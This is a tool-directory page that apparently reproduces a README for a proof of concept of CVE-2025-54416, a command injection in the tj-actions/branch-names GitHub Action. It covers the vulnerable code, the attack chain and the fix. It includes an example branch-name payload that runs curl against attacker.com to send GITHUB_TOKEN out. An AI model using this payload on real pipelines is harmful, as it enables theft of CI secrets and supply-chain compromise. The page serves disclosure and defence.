Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
atlas-tj-actions-poc — PoC for CVE-2025-54416 tj-actions/branch-names command injection | Kitploit
Tools/GitHubGitHub/hexbornestudio/atlas-tj-actions-poc
Vulnerability AnalysisExploitationData ExfiltrationCommand and ControlSupply Chain SecurityLearning & Education
GitHubhexbornestudio/atlas-tj-actions-poc

atlas-tj-actions-poc

PoC for CVE-2025-54416 tj-actions/branch-names command injection

View Repository
35 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-54416: tj-actions/branch-names Command Injection PoC

This repository demonstrates CVE-2025-54416, a critical command injection vulnerability in tj-actions/branch-names affecting over 5,000 public repositories.

Vulnerability

The tj-actions/branch-names GitHub Action (versions <= 8.2.1) uses unsafe eval printf "%s" which reintroduces command injection risks after proper sanitization.

root@kitploit:~
# Vulnerable code pattern in tj-actions/branch-names:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"

Attack Chain

  1. Attacker creates a branch with a malicious name containing shell commands
  2. Victim's workflow uses tj-actions/[email protected] to extract the branch name
  • The extracted branch name (with attacker payload) is used in subsequent shell commands
  • Command executes in the CI runner context with runner's privileges
  • Secrets (AWS keys, GITHUB_TOKEN, etc.) are exfiltrated
  • Example Payload

    Branch name: main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)

    When the workflow runs:

    root@kitploit:~
    echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}"
    # Actual output: IMAGE_TAG=main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
    # The $(...) is evaluated by the shell, exfiltrating GITHUB_TOKEN
    

    Impact

    • Theft of sensitive secrets (AWS keys, API tokens, GITHUB_TOKEN)
    • Unauthorized code modifications
    • Malicious image pushes to production registries
    • Supply chain attacks via compromised CI/CD

    Fix

    Update to tj-actions/branch-names@v9 or later, which replaces eval printf "%s" with safe printf calls.

    References

    • GitHub Advisory GHSA-gq52-6phf-x2r6
    • CVE-2025-54416
    Download Tool